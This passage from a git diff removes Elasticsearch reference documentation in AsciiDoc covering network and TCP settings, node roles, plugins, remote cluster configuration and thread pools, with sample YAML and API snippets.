-{plugins}/discovery-ec2.html[EC2 discovery plugin] or the
-{plugins}/discovery-gce-network-host.html#discovery-gce-network-host[Google Compute Engine discovery plugin]
-installed.
-
-================================
-
-[[advanced-network-settings]]
-==== Advanced network settings
-
-The `network.host` setting explained in <<common-network-settings,Commonly used network settings>>
-is a shortcut which sets the _bind host_ and the _publish host_ at the same
-time. In advanced used cases, such as when running behind a proxy server, you
-may need to set these settings to different values:
-
-`network.bind_host`::
-This specifies which network interface(s) a node should bind to in order to
-listen for incoming requests.  A node can bind to multiple interfaces, e.g.
-two network cards, or a site-local address and a local address. Defaults to
-`network.host`.
-
-`network.publish_host`::
-The publish host is the single interface that the node advertises to other nodes
-in the cluster, so that those nodes can connect to it. Currently an
-Elasticsearch node may be bound to multiple addresses, but only publishes one.
-If not specified, this defaults to the ``best'' address from `network.host`,
-sorted by IPv4/IPv6 stack preference, then by reachability. If you set a
-`network.host` that results in multiple bind addresses yet rely on a specific
-address for node-to-node communication, you should explicitly set
-`network.publish_host`.
-
-Both of the above settings can be configured just like `network.host` -- they
-accept IP addresses, host names, and
-<<network-interface-values,special values>>.
-
-[[tcp-settings]]
-===== Advanced TCP settings
-
-Any component that uses TCP (like the <<modules-http,HTTP>> and
-<<modules-transport,transport>> layers) share the following settings:
-
-`network.tcp.no_delay`::
-(<<static-cluster-setting,Static>>)
-Enable or disable the {wikipedia}/Nagle%27s_algorithm[TCP no delay]
-setting. Defaults to `true`.
-
-`network.tcp.keep_alive`::
-(<<static-cluster-setting,Static>>)
-Configures the `SO_KEEPALIVE` option for this socket, which
-determines whether it sends TCP keepalive probes.
-
-`network.tcp.keep_idle`::
-(<<static-cluster-setting,Static>>)
-Configures the `TCP_KEEPIDLE` option for this socket, which
-determines the time in seconds that a connection must be idle before
-starting to send TCP keepalive probes. Defaults to `-1`, which uses
-the system default. This value cannot exceed `300` seconds. Only applicable on Linux and macOS,
-and requires Java 11 or newer.
-
-`network.tcp.keep_interval`::
-(<<static-cluster-setting,Static>>)
-Configures the `TCP_KEEPINTVL` option for this socket,
-which determines the time in seconds between sending TCP keepalive probes.
-Defaults to `-1`, which uses the system default. This value cannot exceed `300` seconds.
-Only applicable on Linux and macOS, and requires Java 11 or newer.
-
-`network.tcp.keep_count`::
-(<<static-cluster-setting,Static>>)
-Configures the `TCP_KEEPCNT` option for this socket, which
-determines the number of unacknowledged TCP keepalive probes that may be
-sent on a connection before it is dropped. Defaults to `-1`,
-which uses the system default. Only applicable on Linux and macOS, and requires
-Java 11 or newer.
-
-`network.tcp.reuse_address`::
-(<<static-cluster-setting,Static>>)
-Should an address be reused or not. Defaults to `true` on non-windows
-machines.
-
-`network.tcp.send_buffer_size`::
-(<<static-cluster-setting,Static>>)
-The size of the TCP send buffer (specified with <<size-units,size units>>).
-By default not explicitly set.
-
-`network.tcp.receive_buffer_size`::
-(<<static-cluster-setting,Static>>)
-The size of the TCP receive buffer (specified with <<size-units,size units>>).
-By default not explicitly set.
-
-[discrete]
-=== HTTP and transport network communication
-
-Each {es} node uses the network for two different methods of communication:
-
-* it exposes an <<modules-http,HTTP interface>> for use by clients.
-
-* it exposes a <<modules-transport,transport interface>> for communication
-between nodes within a cluster, for communication with a
-<<modules-remote-clusters,remote cluster>>, and for the
-{javaclient}/transport-client.html[Java Transport client] to communicate with a
-cluster.
-
-The network settings described above apply to both methods of communication,
-and you can also configure each interface separately if needed. See the
-<<modules-http,HTTP>> and <<modules-transport,transport>> pages for more
-details on their respective configurations.
diff --git a/docs/reference/modules/node.asciidoc b/docs/reference/modules/node.asciidoc
deleted file mode 100644
index 5f5dbad43d9..00000000000
--- a/docs/reference/modules/node.asciidoc
+++ /dev/null
@@ -1,453 +0,0 @@
-[[modules-node]]
-=== Node
-
-Any time that you start an instance of {es}, you are starting a _node_. A
-collection of connected nodes is called a <<modules-cluster,cluster>>. If you
-are running a single node of {es}, then you have a cluster of one node.
-
-Every node in the cluster can handle <<modules-http,HTTP>> and
-<<modules-transport,Transport>> traffic by default. The transport layer is used
-exclusively for communication between nodes; the HTTP layer is used by REST
-clients.
-[[modules-node-description]]
-// tag::modules-node-description-tag[]
-All nodes know about all the other nodes in the cluster and can forward client
-requests to the appropriate node.
-
-By default, a node is all of the following types: master-eligible, data, ingest,
-and (if available) machine learning. All data nodes are also transform nodes.
-// end::modules-node-description-tag[]
-
-TIP: As the cluster grows and in particular if you have large {ml} jobs or
-{ctransforms}, consider separating dedicated master-eligible nodes from
-dedicated data nodes, {ml} nodes, and {transform} nodes.
-
-[[node-roles]]
-==== Node roles
-
-You can define the roles of a node by setting `node.roles`. If you don't
-configure this setting, then the node has the following roles by default:
-
-* `master`
-* `data`
-* `data_content`
-* `data_hot`
-* `data_warm`
-* `data_cold`
-* `ingest`
-* `ml`
-* `remote_cluster_client`
-
-NOTE: If you set `node.roles`, the node is assigned only the roles you specify.
-
-<<master-node,Master-eligible node>>::
-
-A node that has the `master` role (default), which makes it eligible to be
-<<modules-discovery,elected as the _master_ node>>, which controls the cluster.
-
-<<data-node,Data node>>::
-
-A node that has the `data` role (default). Data nodes hold data and perform data
-related operations such as CRUD, search, and aggregations. A node with the `data` role can fill any of the specialised data node roles.
-
-<<node-ingest-node,Ingest node>>::
-
-A node that has the `ingest` role (default). Ingest nodes are able to apply an
-<<pipeline,ingest pipeline>> to a document in order to transform and enrich the
-document before indexing. With a heavy ingest load, it makes sense to use
-dedicated ingest nodes and to not include the `ingest` role from nodes that have
-the `master` or `data` roles.
-
-<<remote-node,Remote-eligible node>>::
-
-A node that has the `remote_cluster_client` role (default), which makes it
-eligible to act as a remote client. By default, any node in the cluster can act
-as a cross-cluster client and connect to remote clusters.
-
-<<ml-node,Machine learning node>>::
-
-A node that has `xpack.ml.enabled` and the `ml` role, which is the default
-behavior in the {es} {default-dist}. If you want to use {ml-features}, there
-must be at least one {ml} node in your cluster. For more information about
-{ml-features}, see {ml-docs}/index.html[Machine learning in the {stack}].
-+
-IMPORTANT: If you use the {oss-dist}, do not add the `ml` role. Otherwise, the
-node fails to start.
-
-<<transform-node,{transform-cap} node>>::
-
-A node that has the `transform` role. If you want to use {transforms}, there
-be at least one {transform} node in your cluster. For more information, see
-<<transform-settings>> and <<transforms>>.
-
-[NOTE]
-[[coordinating-node]]
-.Coordinating node
-===============================================
-
-Requests like search requests or bulk-indexing requests may involve data held
-on different data nodes. A search request, for example, is executed in two
-phases which are coordinated by the node which receives the client request --
-the _coordinating node_.
-
-In the _scatter_ phase, the coordinating node forwards the request to the data
-nodes which hold the data.  Each data node executes the request locally and
-returns its results to the coordinating node. In the _gather_  phase, the
-coordinating node reduces each data node's results into a single global
-result set.
-
-Every node is implicitly a coordinating node. This means that a node that has
-an explicit empty list of roles via `node.roles` will only act as a coordinating
-node, which cannot be disabled. As a result, such a node needs to have enough
-memory and CPU in order to deal with the gather phase.
-
-===============================================
-
-[[master-node]]
-==== Master-eligible node
-
-The master node is responsible for lightweight cluster-wide actions such as
-creating or deleting an index, tracking which nodes are part of the cluster,
-and deciding which shards to allocate to which nodes. It is important for
-cluster health to have a stable master node.
-
-Any master-eligible node that is not a <<voting-only-node,voting-only node>> may
-be elected to become the master node by the <<modules-discovery,master election
-process>>.
-
-IMPORTANT: Master nodes must have access to the `data/` directory (just like
-`data` nodes) as this is where the cluster state is persisted between node
-restarts.
-
-[[dedicated-master-node]]
-===== Dedicated master-eligible node
-
-It is important for the health of the cluster that the elected master node has
-the resources it needs to fulfill its responsibilities. If the elected master
-node is overloaded with other tasks then the cluster may not operate well. In
-particular, indexing and searching your data can be very resource-intensive, so
-in large or high-throughput clusters it is a good idea to avoid using the
-master-eligible nodes for tasks such as indexing and searching. You can do this
-by configuring three of your nodes to be dedicated master-eligible nodes.
-Dedicated master-eligible nodes only have the `master` role, allowing them to
-focus on managing the cluster. While master nodes can also behave as
-<<coordinating-node,coordinating nodes>> and route search and indexing requests
-from clients to data nodes, it is better _not_ to use dedicated master nodes for
-this purpose.
-
-To create a dedicated master-eligible node, set:
-
-[source,yaml]
--------------------
-node.roles: [ master ]
--------------------
-
-[[voting-only-node]]
-===== Voting-only master-eligible node
-
-A voting-only master-eligible node is a node that participates in
-<<modules-discovery,master elections>> but which will not act as the cluster's
-elected master node. In particular, a voting-only node can serve as a tiebreaker
-in elections.
-
-It may seem confusing to use the term "master-eligible" to describe a
-voting-only node since such a node is not actually eligible to become the master
-at all. This terminology is an unfortunate consequence of history:
-master-eligible nodes are those nodes that participate in elections and perform
-certain tasks during cluster state publications, and voting-only nodes have the
-same responsibilities even if they can never become the elected master.
-
-To configure a master-eligible node as a voting-only node, include `master` and
-`voting_only` in the list of roles. For example to create a voting-only data
-node:
-
-[source,yaml]
--------------------
-node.roles: [ data, master, voting_only ]
--------------------
-
-IMPORTANT: The `voting_only` role requires the {default-dist} of {es} and is not
-supported in the {oss-dist}. If you use the {oss-dist} and add the `voting_only`
-role then the node will fail to start.  Also note that only nodes with the
-`master` role can be marked as having the `voting_only` role.
-
-High availability (HA) clusters require at least three master-eligible nodes, at
-least two of which are not voting-only nodes. Such a cluster will be able to
-elect a master node even if one of the nodes fails.
-
-Since voting-only nodes never act as the cluster's elected master, they may
-require less heap and a less powerful CPU than the true master nodes.
-However all master-eligible nodes, including voting-only nodes, require
-reasonably fast persistent storage and a reliable and low-latency network
-connection to the rest of the cluster, since they are on the critical path for
-<<cluster-state-publishing,publishing cluster state updates>>.
-
-Voting-only master-eligible nodes may also fill other roles in your cluster.
-For instance, a node may be both a data node and a voting-only master-eligible
-node. A _dedicated_ voting-only master-eligible nodes is a voting-only
-master-eligible node that fills no other roles in the cluster. To create a
-dedicated voting-only master-eligible node in the {default-dist}, set:
-
-[source,yaml]
--------------------
-node.roles: [ master, voting_only ]
--------------------
-
-[[data-node]]
-==== Data node
-
-Data nodes hold the shards that contain the documents you have indexed. Data
-nodes handle data related operations like CRUD, search, and aggregations.
-These operations are I/O-, memory-, and CPU-intensive. It is important to
-monitor these resources and to add more data nodes if they are overloaded.
-
-The main benefit of having dedicated data nodes is the separation of the master
-and data roles.
-
-To create a dedicated data node, set:
-[source,yaml]
-----
-node.roles: [ data ]
-----
-
-In a multi-tier deployment architecture, you use specialised data roles to assign data nodes to specific tiers: `data_content`,`data_hot`,
-`data_warm`, or `data_cold`. A node can belong to multiple tiers, but a node that has one of the specialised data roles cannot have the
-generic `data` role.
-
-[[data-content-node]]
-==== [x-pack]#Content data node#
-
-Content data nodes accommodate user-created content. They enable operations like CRUD,
-search and aggregations.
-
-To create a dedicated content node, set:
-[source,yaml]
-----
-node.roles: [ data_content ]
-----
-
-[[data-hot-node]]
-==== [x-pack]#Hot data node#
-
-Hot data nodes store time series data as it enters {es}. The hot tier must be fast for
-both reads and writes, and requires more hardware resources (such as SSD drives).
-
-To create a dedicated hot node, set:
-[source,yaml]
-----
-node.roles: [ data_hot ]
-----
-
-[[data-warm-node]]
-==== [x-pack]#Warm data node#
-
-Warm data nodes store indices that are no longer being regularly updated, but are still being
-queried. Query volume is usually at a lower frequency than it was while the index was in the hot tier.
-Less performant hardware can usually be used for nodes in this tier.
-
-To create a dedicated warm node, set:
-[source,yaml]
-----
-node.roles: [ data_warm ]
-----
-
-[[data-cold-node]]
-==== [x-pack]#Cold data node#
-
-Cold data nodes store read-only indices that are accessed less frequently. This tier uses less performant hardware and may leverage searchable snapshot indices to minimize the resources required.
-
-To create a dedicated cold node, set:
-[source,yaml]
-----
-node.roles: [ data_cold ]
-----
-
-[[node-ingest-node]]
-==== Ingest node
-
-Ingest nodes can execute pre-processing pipelines, composed of one or more
-ingest processors. Depending on the type of operations performed by the ingest
-processors and the required resources, it may make sense to have dedicated
-ingest nodes, that will only perform this specific task.
-
-To create a dedicated ingest node, set:
-
-[source,yaml]
-----
-node.roles: [ ingest ]
-----
-
-[[coordinating-only-node]]
-==== Coordinating only node
-
-If you take away the ability to be able to handle master duties, to hold data,
-and pre-process documents, then you are left with a _coordinating_ node that
-can only route requests, handle the search reduce phase, and distribute bulk
-indexing. Essentially, coordinating only nodes behave as smart load balancers.
-
-Coordinating only nodes can benefit large clusters by offloading the
-coordinating node role from data and master-eligible nodes.  They join the
-cluster and receive the full <<cluster-state,cluster state>>, like every other
-node, and they use the cluster state to route requests directly to the
-appropriate place(s).
-
-WARNING: Adding too many coordinating only nodes to a cluster can increase the
-burden on the entire cluster because the elected master node must await
-acknowledgement of cluster state updates from every node! The benefit of
-coordinating only nodes should not be overstated -- data nodes can happily
-serve the same purpose.
-
-To create a dedicated coordinating node, set:
-
-[source,yaml]
-----
-node.roles: [ ]
-----
-
-[[remote-node]]
-==== Remote-eligible node
-
-By default, any node in a cluster can act as a cross-cluster client and connect
-to <<modules-remote-clusters,remote clusters>>. Once connected, you can search
-remote clusters using <<modules-cross-cluster-search,{ccs}>>. You can also sync
-data between clusters using <<xpack-ccr,{ccr}>>.
-
-[source,yaml]
-----
-node.roles: [ remote_cluster_client ]
-----
-
-[[ml-node]]
-==== [xpack]#Machine learning node#
-
-The {ml-features} provide {ml} nodes, which run jobs and handle {ml} API
-requests. If `xpack.ml.enabled` is set to `true` and the node does not have the
-`ml` role, the node can service API requests but it cannot run jobs.
-
-If you want to use {ml-features} in your cluster, you must enable {ml}
-(set `xpack.ml.enabled` to `true`) on all master-eligible nodes. If you want to
-use {ml-features} in clients (including {kib}), it must also be enabled on all
-coordinating nodes. If you have the {oss-dist}, do not use these settings.
-
-For more information about these settings, see <<ml-settings>>.
-
-To create a dedicated {ml} node in the {default-dist}, set:
-
-[source,yaml]
-----
-node.roles: [ ml ]
-xpack.ml.enabled: true <1>
-----
-<1> The `xpack.ml.enabled` setting is enabled by default.
-
-[[transform-node]]
-==== [xpack]#{transform-cap} node#
-
-{transform-cap} nodes run {transforms} and handle {transform} API requests. If
-you have the {oss-dist}, do not use these settings. For more information, see
-<<transform-settings>>.
-
-To create a dedicated {transform} node in the {default-dist}, set:
-
-[source,yaml]
-----
-node.roles: [ transform ]
-----
-
-[[change-node-role]]
-==== Changing the role of a node
-
-Each data node maintains the following data on disk:
-
-* the shard data for every shard allocated to that node,
-* the index metadata corresponding with every shard allocated to that node, and
-* the cluster-wide metadata, such as settings and index templates.
-
-Similarly, each master-eligible node maintains the following data on disk:
-
-* the index metadata for every index in the cluster, and
-* the cluster-wide metadata, such as settings and index templates.
-
-Each node checks the contents of its data path at startup. If it discovers
-unexpected data then it will refuse to start. This is to avoid importing
-unwanted <<modules-gateway-dangling-indices,dangling indices>> which can lead
-to a red cluster health. To be more precise, nodes without the `data` role will
-refuse to start if they find any shard data on disk at startup, and nodes
-without both the `master` and `data` roles will refuse to start if they have any
-index metadata on disk at startup.
-
-It is possible to change the roles of a node by adjusting its
-`elasticsearch.yml` file and restarting it. This is known as _repurposing_ a
-node. In order to satisfy the checks for unexpected data described above, you
-must perform some extra steps to prepare a node for repurposing when starting
-the node without the `data` or `master` roles.
-
-* If you want to repurpose a data node by removing the `data` role then you
-  should first use an <<allocation-filtering,allocation filter>> to safely
-  migrate all the shard data onto other nodes in the cluster.
-
-* If you want to repurpose a node to have neither the `data` nor `master` roles
-  then it is simplest to start a brand-new node with an empty data path and the
-  desired roles. You may find it safest to use an
-  <<allocation-filtering,allocation filter>> to migrate the shard data elsewhere
-  in the cluster first.
-
-If it is not possible to follow these extra steps then you may be able to use
-the <<node-tool-repurpose,`elasticsearch-node repurpose`>> tool to delete any
-excess data that prevents a node from starting.
-
-[discrete]
-=== Node data path settings
-
-[[data-path]]
-==== `path.data`
-
-Every data and master-eligible node requires access to a data directory where
-shards and index and cluster metadata will be stored. The `path.data` defaults
-to `$ES_HOME/data` but can be configured in the `elasticsearch.yml` config
-file an absolute path or a path relative to `$ES_HOME` as follows:
-
-[source,yaml]
-----
-path.data:  /var/elasticsearch/data
-----
-
-Like all node settings, it can also be specified on the command line as:
-
-[source,sh]
-----
-./bin/elasticsearch -Epath.data=/var/elasticsearch/data
-----
-
-TIP: When using the `.zip` or `.tar.gz` distributions, the `path.data` setting
-should be configured to locate the data directory outside the {es} home
-directory, so that the home directory can be deleted without deleting your data!
-The RPM and Debian distributions do this for you already.
-
-[discrete]
-[[max-local-storage-nodes]]
-=== `node.max_local_storage_nodes`
-
-The <<data-path,data path>> can be shared by multiple nodes, even by nodes from
-different clusters. It is recommended however to only run one node of {es} using
-the same data path. This setting is deprecated in 7.x and will be removed in
-version 8.0.
-
-By default, {es} is configured to prevent more than one node from sharing the
-same data path. To allow for more than one node (e.g., on your development
-machine), use the setting `node.max_local_storage_nodes` and set this to a
-positive integer larger than one.
-
-WARNING: Never run different node types (i.e. master, data) from the same data
-directory. This can lead to unexpected data loss.
-
-[discrete]
-[[other-node-settings]]
-=== Other node settings
-
-More node settings can be found in <<settings>> and <<important-settings>>,
-including:
-
-* <<cluster-name,`cluster.name`>>
-* <<node-name,`node.name`>>
-* <<modules-network,network settings>>
diff --git a/docs/reference/modules/plugins.asciidoc b/docs/reference/modules/plugins.asciidoc
deleted file mode 100644
index d2ea1fe675b..00000000000
--- a/docs/reference/modules/plugins.asciidoc
+++ /dev/null
@@ -1,13 +0,0 @@
-[[modules-plugins]]
-== Plugins
-
-Plugins are a way to enhance the basic Elasticsearch functionality in a
-custom manner. They range from adding custom mapping types, custom
-analyzers (in a more built in fashion), custom script engines, custom discovery
-and more.
-
-For information about selecting and installing plugins, see
-{plugins}/index.html[{es} Plugins and Integrations].
-
-For information about developing your own plugin, see
-{plugins}/plugin-authors.html[Help for plugin authors].
diff --git a/docs/reference/modules/remote-clusters.asciidoc b/docs/reference/modules/remote-clusters.asciidoc
deleted file mode 100644
index c44e81678b3..00000000000
--- a/docs/reference/modules/remote-clusters.asciidoc
+++ /dev/null
@@ -1,334 +0,0 @@
-[[modules-remote-clusters]]
-== Remote clusters
-
-You can connect a local cluster to other {es} clusters, known as _remote
-clusters_. Once connected, you can search remote clusters using
-<<modules-cross-cluster-search,{ccs}>>. You can also sync data between clusters
-using <<xpack-ccr,{ccr}>>.
-
-To register a remote cluster, connect the local cluster to nodes in the
-remote cluster using one of two connection modes:
-
-* <<sniff-mode,Sniff mode>>
-* <<proxy-mode,Proxy mode>>
-
-Your local cluster uses the <<modules-transport,transport layer>> to establish
-communication with remote clusters. The coordinating nodes in the local cluster
-establish <<long-lived-connections,long-lived>> TCP connections with specific
-nodes in the remote cluster. {es} requires these connections to remain open,
-even if the connections are idle for an extended period.
-
-You can use the <<cluster-remote-info, remote cluster info API>> to get
-information about registered remote clusters.
-
-[[sniff-mode]]
-[discrete]
-==== Sniff mode
-
-In sniff mode, a cluster is created using a name and a list of seed nodes. When
-a remote cluster is registered, its cluster state is retrieved from one of the
-seed nodes and up to three _gateway nodes_ are selected as part of remote
-cluster requests. This mode requires that the gateway node's publish addresses
-are accessible by the local cluster.
-
-Sniff mode is the default connection mode.
-
-[[gateway-nodes-selection]]
-The _gateway nodes_ selection depends on the following criteria:
-
-* *version*: Remote nodes must be compatible with the cluster they are
-registered to, similar to the rules for
-<<rolling-upgrades>>:
-** Any node can communicate with another node on the same
-major version. For example, 7.0 can talk to any 7.x node.
-** Only nodes on the last minor version of a certain major version can
-communicate with nodes on the following major version. In the 6.x series, 6.8
-can communicate with any 7.x node, while 6.7 can only communicate with 7.0.
-** Version compatibility is
-symmetric, meaning that if 6.7 can communicate with 7.0, 7.0 can also
-communicate with 6.7. The following table depicts version compatibility between
-local and remote nodes.
-+
-[%collapsible]
-.Version compatibility table
-====
-// tag::remote-cluster-compatibility-matrix[]
-[cols="^,^,^,^,^,^,^,^"]
-|====
-| 7+^h| Local cluster
-h| Remote cluster | 5.0->5.5 | 5.6 | 6.0->6.6 | 6.7 | 6.8 | 7.0 | 7.1->7.x
-| 5.0->5.5      | {yes-icon} | {yes-icon} | {no-icon} | {no-icon} | {no-icon}  | {no-icon} | {no-icon}
-| 5.6           | {yes-icon} | {yes-icon} | {yes-icon} | {yes-icon} | {yes-icon} | {no-icon} | {no-icon}
-| 6.0->6.6      | {no-icon} | {yes-icon} | {yes-icon} | {yes-icon} | {yes-icon} | {no-icon} | {no-icon}
-| 6.7           | {no-icon} | {yes-icon} | {yes-icon} | {yes-icon} | {yes-icon} | {yes-icon} | {no-icon}
-| 6.8           | {no-icon} | {yes-icon} |  {yes-icon} | {yes-icon} | {yes-icon} | {yes-icon} | {yes-icon}
-| 7.0           | {no-icon} | {no-icon} | {no-icon} | {yes-icon} | {yes-icon} | {yes-icon} | {yes-icon}
-| 7.1->7.x      | {no-icon} | {no-icon} | {no-icon} | {no-icon} | {yes-icon} | {yes-icon} | {yes-icon}
-|====
-// end::remote-cluster-compatibility-matrix[]
-====
-
-* *role*: Dedicated master nodes are never selected as gateway nodes.
-* *attributes*: You can tag which nodes should be selected
-(see <<remote-cluster-settings>>), though such tagged nodes still have
-to satisfy the two above requirements.
-
-[[proxy-mode]]
-[discrete]
-==== Proxy mode
-
-In proxy mode, a cluster is created using a name and a single proxy address.
-When you register a remote cluster, a configurable number of socket connections
-are opened to the proxy address. The proxy is required to route those
-connections to the remote cluster. Proxy mode does not require remote cluster
-nodes to have accessible publish addresses.
-
-The proxy mode is not the default connection mode and must be configured. Similar
-to the sniff <<gateway-nodes-selection,gateway nodes>>, the remote
-connections are subject to the same version compatibility rules as
-<<rolling-upgrades>>.
-
-[discrete]
-[[configuring-remote-clusters]]
-=== Configuring remote clusters
-
-You can configure remote clusters settings <<configure-remote-clusters-dynamic,globally>>, or configure
-settings <<configure-remote-clusters-static,on individual nodes>> in the
-`elasticsearch.yml` file.
-
-[discrete]
-[[configure-remote-clusters-dynamic]]
-===== Dynamically configure remote clusters
-Use the <<cluster-update-settings,cluster update settings API>> to dynamically
-configure remote settings on every node in the cluster. For example:
-
-[source,console]
---------------------------------
-PUT _cluster/settings
-{
-  "persistent": {
-    "cluster": {
-      "remote": {
-        "cluster_one": {
-          "seeds": [
-            "127.0.0.1:9300"
-          ],
-          "transport.ping_schedule": "30s"
-        },
-        "cluster_two": {
-          "mode": "sniff",
-          "seeds": [
-            "127.0.0.1:9301"
-          ],
-          "transport.compress": true,
-          "skip_unavailable": true
-        },
-        "cluster_three": {
-          "mode": "proxy",
-          "proxy_address": "127.0.0.1:9302"
-        }
-      }
-    }
-  }
-}
---------------------------------
-// TEST[setup:host]
-// TEST[s/127.0.0.1:9300/\${transport_host}/]
-
-You can dynamically update the compression and ping schedule settings. However,
-you must re-include seeds or `proxy_address` in the settings update request.
-For example:
-
-[source,console]
---------------------------------
-PUT _cluster/settings
-{
-  "persistent": {
-    "cluster": {
-      "remote": {
-        "cluster_one": {
-          "seeds": [
-            "127.0.0.1:9300"
-          ],
-          "transport.ping_schedule": "60s"
-        },
-        "cluster_two": {
-          "mode": "sniff",
-          "seeds": [
-            "127.0.0.1:9301"
-          ],
-          "transport.compress": false
-        },
-        "cluster_three": {
-          "mode": "proxy",
-          "proxy_address": "127.0.0.1:9302",
-          "transport.compress": true
-        }
-      }
-    }
-  }
-}
---------------------------------
-// TEST[continued]
-
-NOTE: When the compression or ping schedule settings change, all the existing
-node connections must close and re-open, which can cause in-flight requests to
-fail.
-
-You can delete a remote cluster from the cluster settings by passing `null`
-values for each remote cluster setting:
-
-[source,console]
---------------------------------
-PUT _cluster/settings
-{
-  "persistent": {
-    "cluster": {
-      "remote": {
-        "cluster_two": { <1>
-          "mode": null,
-          "seeds": null,
-          "skip_unavailable": null,
-          "transport": {
-            "compress": null
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------
-// TEST[continued]
-
-<1> `cluster_two` would be removed from the cluster settings, leaving
-`cluster_one` and `cluster_three` intact.
-
-[discrete]
-[[configure-remote-clusters-static]]
-===== Statically configure remote clusters
-If you specify settings in `elasticsearch.yml` files, only the nodes with
-those settings can connect to the remote cluster and serve remote cluster requests. For example:
-
-[source,yaml]
---------------------------------
-cluster:
-    remote:
-        cluster_one: <1>
-            seeds: 127.0.0.1:9300 <2>
-            transport.ping_schedule: 30s <3>
-        cluster_two: <1>
-            mode: sniff <4>
-            seeds: 127.0.0.1:9301 <2>
-            transport.compress: true <5>
-            skip_unavailable: true <6>
-        cluster_three: <1>
-            mode: proxy <4>
-            proxy_address: 127.0.0.1:9302 <7>
-
---------------------------------
-<1> `cluster_one`, `cluster_two`, and `cluster_three` are arbitrary _cluster aliases_
-representing the connection to each cluster. These names are subsequently used to
-distinguish between local and remote indices.
-<2> The hostname and <<modules-transport,transport>> port (default: 9300) of a
-seed node in the remote cluster.
-<3> A keep-alive ping is configured for `cluster_one`.
-<4> The configured connection mode. By default, this is <<sniff-mode,`sniff`>>, so
-the mode is implicit for `cluster_one`. However, it can be explicitly configured
-as demonstrated by `cluster_two` and must be explicitly configured for
-<<proxy-mode,proxy mode>> as demonstrated by `cluster_three`.
-<5> Compression is explicitly enabled for requests to `cluster_two`.
-<6> Disconnected remote clusters are optional for `cluster_two`.
-<7> The address for the proxy endpoint used to connect to `cluster_three`.
-
-[discrete]
-[[remote-cluster-settings]]
-=== Global remote cluster settings
-
-These settings apply to both <<sniff-mode,sniff mode>> and
-<<proxy-mode,proxy mode>>. <<remote-cluster-sniff-settings,Sniff mode settings>>
-and <<remote-cluster-proxy-settings,proxy mode settings>> are described
-separately.
-
-`cluster.remote.<cluster_alias>.mode`::
-  The mode used for a remote cluster connection. The only supported modes are
-  `sniff` and `proxy`.
-
-`cluster.remote.initial_connect_timeout`::
-
-  The time to wait for remote connections to be established when the node
-  starts. The default is `30s`.
-
-`node.remote_cluster_client`::
-
-  By default, any node in the cluster can act as a cross-cluster client and
-  connect to remote clusters. The `node.remote_cluster_client` setting can be
-  set to `false` (defaults to `true`) to prevent certain nodes from connecting
-  to remote clusters. Remote cluster requests must be sent to a node that is
-  allowed to act as a cross-cluster client.
-
-`cluster.remote.<cluster_alias>.skip_unavailable`::
-
-  Per cluster boolean setting that allows to skip specific clusters when no
-  nodes belonging to them are available and they are the target of a remote
-  cluster request. Default is `false`, meaning that all clusters are mandatory
-  by default, but they can selectively be made optional by setting this setting
-  to `true`.
-
-`cluster.remote.<cluster_alias>.transport.ping_schedule`::
-
-  Sets the time interval between regular application-level ping messages that
-  are sent to ensure that transport connections to nodes belonging to remote
-  clusters are kept alive. If set to `-1`, application-level ping messages to
-  this remote cluster are not sent. If unset, application-level ping messages
-  are sent according to the global `transport.ping_schedule` setting, which
-  defaults to `-1` meaning that pings are not sent.
-
-`cluster.remote.<cluster_alias>.transport.compress`::
-
-  Per cluster boolean setting that enables you to configure compression for
-  requests to a specific remote cluster. This setting impacts only requests
-  sent to the remote cluster. If the inbound request is compressed,
-  Elasticsearch compresses the response. If unset, the global
-  `transport.compress` is used as the fallback setting.
-
-[discrete]
-[[remote-cluster-sniff-settings]]
-=== Sniff mode remote cluster settings
-
-`cluster.remote.<cluster_alias>.seeds`::
-
-  The list of seed nodes used to sniff the remote cluster state.
-
-`cluster.remote.<cluster_alias>.node_connections`::
-
-  The number of gateway nodes to connect to for this remote cluster. The default
-  is `3`.
-
-`cluster.remote.node.attr`::
-
-  A node attribute to filter out nodes that are eligible as a gateway node in
-  the remote cluster. For instance a node can have a node attribute
-  `node.attr.gateway: true` such that only nodes with this attribute will be
-  connected to if `cluster.remote.node.attr` is set to `gateway`.
-
-[discrete]
-[[remote-cluster-proxy-settings]]
-=== Proxy mode remote cluster settings
-
-`cluster.remote.<cluster_alias>.proxy_address`::
-
-  The address used for all remote connections.
-
-`cluster.remote.<cluster_alias>.proxy_socket_connections`::
-
-  The number of socket connections to open per remote cluster. The default is
-  `18`.
-
-[role="xpack"]
-`cluster.remote.<cluster_alias>.server_name`::
-
-  An optional hostname string which is sent in the `server_name` field of
-  the TLS Server Name Indication extension if
-  <<configuring-tls,TLS is enabled>>. The TLS transport will fail to open
-  remote connections if this field is not a valid hostname as defined by the
-  TLS SNI specification.
diff --git a/docs/reference/modules/threadpool.asciidoc b/docs/reference/modules/threadpool.asciidoc
deleted file mode 100644
index 55623741104..00000000000
--- a/docs/reference/modules/threadpool.asciidoc
+++ /dev/null
@@ -1,229 +0,0 @@
-[[modules-threadpool]]
-=== Thread pools
-
-A node uses several thread pools to manage memory consumption.
-Queues associated with many of the thread pools enable pending requests
-to be held instead of discarded.
-
-There are several thread pools, but the important ones include:
-
-`generic`::
-    For generic operations (for example, background node discovery).
-    Thread pool type is `scaling`.
-
-[[search-threadpool]]
-`search`::
-    For count/search/suggest operations. Thread pool type is
-    `fixed_auto_queue_size` with a size of `int((`<<node.processors,
-    `# of allocated processors`>>`pass:[ * ]3) / 2) + 1`, and initial queue_size of
-    `1000`.
-
-[[search-throttled]]`search_throttled`::
-    For count/search/suggest/get operations on `search_throttled indices`.
-    Thread pool type is `fixed_auto_queue_size` with a size of `1`, and initial
-    queue_size of `100`.
-
-`get`::
-    For get operations. Thread pool type is `fixed`
-    with a size of <<node.processors, `# of allocated processors`>>,
-    queue_size of `1000`.
-
-`analyze`::
-    For analyze requests. Thread pool type is `fixed` with a size of `1`, queue
-    size of `16`.
-
-`write`::
-    For single-document index/delete/update and bulk requests. Thread pool type
-    is `fixed` with a size of <<node.processors, `# of allocated processors`>>,
-    queue_size of `10000`. The maximum size for this pool is
-    `pass:[1 + ]`<<node.processors, `# of allocated processors`>>.
-
-`snapshot`::
-    For snapshot/restore operations. Thread pool type is `scaling` with a
-    keep-alive of `5m` and a max of `min(5, (`<<node.processors,
-    `# of allocated processors`>>`) / 2)`.
-
-`warmer`::
-    For segment warm-up operations. Thread pool type is `scaling` with a
-    keep-alive of `5m` and a max of `min(5, (`<<node.processors,
-    `# of allocated processors`>>`) / 2)`.
-
-`refresh`::
-    For refresh operations. Thread pool type is `scaling` with a
